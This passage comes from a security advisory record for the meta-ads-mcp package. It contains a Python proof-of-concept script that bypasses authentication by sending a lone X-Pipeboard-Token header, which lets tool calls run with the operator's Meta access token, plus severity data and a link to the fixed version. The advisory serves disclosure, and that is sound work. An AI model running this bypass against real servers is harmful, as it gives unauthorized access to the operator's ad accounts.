\"2.0\", \"id\": 0, \"method\": \"ping\"},\n        )\n        if status is not None:\n            return True\n        attempt += 1\n        if attempt % 5 == 0:\n            elapsed = int(time.time() - (deadline - timeout))\n            print(f\"    ... still waiting ({elapsed}s elapsed)\")\n        time.sleep(1)\n    return False\n\n\ndef run_test(label: str, headers: dict, payload: dict) -> tuple:\n    \"\"\"Run one request, print result, and return (status, body).\"\"\"\n    print(f\"\\n[*] {label}\")\n    status, body = http_post(SERVER_URL, headers, payload)\n    print(f\"    HTTP Status : {status}\")\n    # Print up to 600 chars so long MCP responses are readable\n    print(f\"    Response    : {body[:600]}\")\n    return status, body\n\n\ndef main() -> int:\n    print(\"=\" * 65)\n    print(\"VULN-001 PoC: X-Pipeboard-Token Auth Bypass\")\n    print(\"meta-ads-mcp 1.0.113 | CWE-287 Improper Authentication\")\n    print(\"=\" * 65)\n\n    # -----------------------------------------------------------------------\n    print(\"\\n[*] Waiting for MCP server to be ready ...\")\n    if not wait_for_server():\n        print(f\"[-] ERROR: Server did not respond within {SERVER_READY_TIMEOUT}s\")\n        return 2\n    print(\"[+] Server is ready\")\n\n    # Common headers for all requests\n    base_headers = {\n        \"Content-Type\": \"application/json\",\n        \"Accept\": \"application/json, text/event-stream\",\n    }\n\n    # A minimal MCP JSON-RPC payload.  In stateless-HTTP mode the server\n    # processes each request independently; tools/list does not require a\n    # prior initialize handshake.\n    list_payload = {\n        \"jsonrpc\": \"2.0\",\n        \"id\": 1,\n        \"method\": \"tools/list\",\n        \"params\": {},\n    }\n\n    # -----------------------------------------------------------------------\n    # Test 1: No authentication — must be rejected with 401\n    # -----------------------------------------------------------------------\n    status1, body1 = run_test(\n        \"Test 1: POST /mcp — no auth header at all\",\n        base_headers,\n        list_payload,\n    )\n\n    if status1 != 401:\n        print(f\"[-] UNEXPECTED: Expected HTTP 401 without auth, got {status1}\")\n        print(\"    Middleware may not be active. Cannot assess bypass.\")\n        return 2\n\n    try:\n        parsed = json.loads(body1)\n        if parsed.get(\"error\") != \"Unauthorized\":\n            print(\"[-] UNEXPECTED body (expected {\\\"error\\\": \\\"Unauthorized\\\"})\")\n            return 2\n    except json.JSONDecodeError:\n        pass  # Body format is secondary evidence\n\n    print(\"[+] CONFIRMED: No-auth request correctly rejected with HTTP 401\")\n\n    # -----------------------------------------------------------------------\n    # Test 2: Only X-Pipeboard-Token — must NOT be 401 if bypass works\n    #\n    # Vulnerability logic (http_auth_integration.py:259):\n    #   auth_token    = extract_token_from_headers(headers)       -> None\n    #   pipeboard_token = extract_pipeboard_token_from_headers(headers) -> ATTACKER_VALUE\n    #   if not None and not ATTACKER_VALUE:   # evaluates False -> request passes\n    #   # set_auth_token() never called -> auth context stays None\n    #   # tool getter falls back to META_ACCESS_TOKEN env var\n    # -----------------------------------------------------------------------\n    bypass_headers = {\n        **base_headers,\n        \"X-Pipeboard-Token\": ATTACKER_PIPEBOARD_TOKEN,\n    }\n    status2, body2 = run_test(\n        f\"Test 2: POST /mcp — only X-Pipeboard-Token: {ATTACKER_PIPEBOARD_TOKEN}\",\n        bypass_headers,\n        list_payload,\n    )\n\n    if status2 == 401:\n        print(\"\\n[-] BYPASS FAILED: Got HTTP 401 with X-Pipeboard-Token.\")\n        print(\"    The vulnerability may have been patched on this build.\")\n        return 1\n\n    print(f\"\\n[+] AUTH BYPASS CONFIRMED: HTTP {status2} (not 401)\")\n    print(\"    The middleware accepted the request with X-Pipeboard-Token alone.\")\n    print(\"    auth_token was None -> set_auth_token() not called ->\")\n    print(\"    get_auth_token() returns None -> META_ACCESS_TOKEN fallback active.\")\n\n    # Extra detail: check if we can see MCP tool names in the response\n    try:\n        parsed2 = json.loads(body2)\n        tools = parsed2.get(\"result\", {}).get(\"tools\", [])\n        if tools:\n            print(f\"\\n    MCP tools/list returned {len(tools)} tools (server fully reachable):\")\n            for t in tools[:5]:\n                print(f\"      - {t.get('name', '?')}\")\n    except Exception:\n        pass\n\n    # -----------------------------------------------------------------------\n    # Test 3: tools/call get_ad_accounts — operator token forwarded to Meta\n    # The Meta Graph API will reject the FAKE token, but the error response\n    # proves the request reached Meta (not the local 401 guard).\n    # -----------------------------------------------------------------------\n    call_payload = {\n        \"jsonrpc\": \"2.0\",\n        \"id\": 2,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"get_ad_accounts\",\n            \"arguments\": {\"limit\": 1},\n        },\n    }\n    status3, body3 = run_test(\n        \"Test 3: tools/call get_ad_accounts with X-Pipeboard-Token only\",\n        bypass_headers,\n        call_payload,\n    )\n\n    if status3 != 401:\n        print(f\"\\n[+] OPERATOR TOKEN CONFIRMED IN USE: HTTP {status3}\")\n        print(\"    The tool call was not blocked locally. The server forwarded\")\n        print(\"    the request to Meta Graph API using META_ACCESS_TOKEN.\")\n        if \"OAuthException\" in body3 or \"Invalid OAuth\" in body3:\n            print(\"    Meta Graph API returned an OAuthException about the\")\n            print(\"    FAKE_OPERATOR_META_TOKEN — confirming the token was forwarded.\")\n        elif \"error\" in body3.lower():\n            print(\"    Meta Graph API (or MCP layer) returned an error response\")\n            print(\"    — the request reached the tool handler, not the local 401 guard.\")\n    else:\n        print(\"[!] Note: tools/call returned 401 — may need MCP initialize first\")\n\n    # -----------------------------------------------------------------------\n    print(\"\\n\" + \"=\" * 65)\n    print(\"RESULT: PASS — VULN-001 reproduced\")\n    print()\n    print(\"Evidence:\")\n    print(f\"  Test 1 (no header)           -> HTTP {status1} (blocked by middleware)\")\n    print(f\"  Test 2 (X-Pipeboard-Token)   -> HTTP {status2} (BYPASSES middleware)\")\n    print()\n    print(\"The distinction proves that AuthInjectionMiddleware at\")\n    print(\"http_auth_integration.py:259 is the exploitable boundary.\")\n    print(\"An attacker can reach all MCP tools as the server operator by\")\n    print('sending any value in the \"X-Pipeboard-Token\" header.')\n    print(\"=\" * 65)\n    return 0\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "meta-ads-mcp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.115"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pipeboard-co/meta-ads-mcp/security/advisories/GHSA-2v2f-mvfg-ph56"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pipeboard-co/meta-ads-mcp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pipeboard-co/meta-ads-mcp/releases/tag/1.0.115"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-17T18:48:54Z",
    "nvd_published_at" : null
  }
}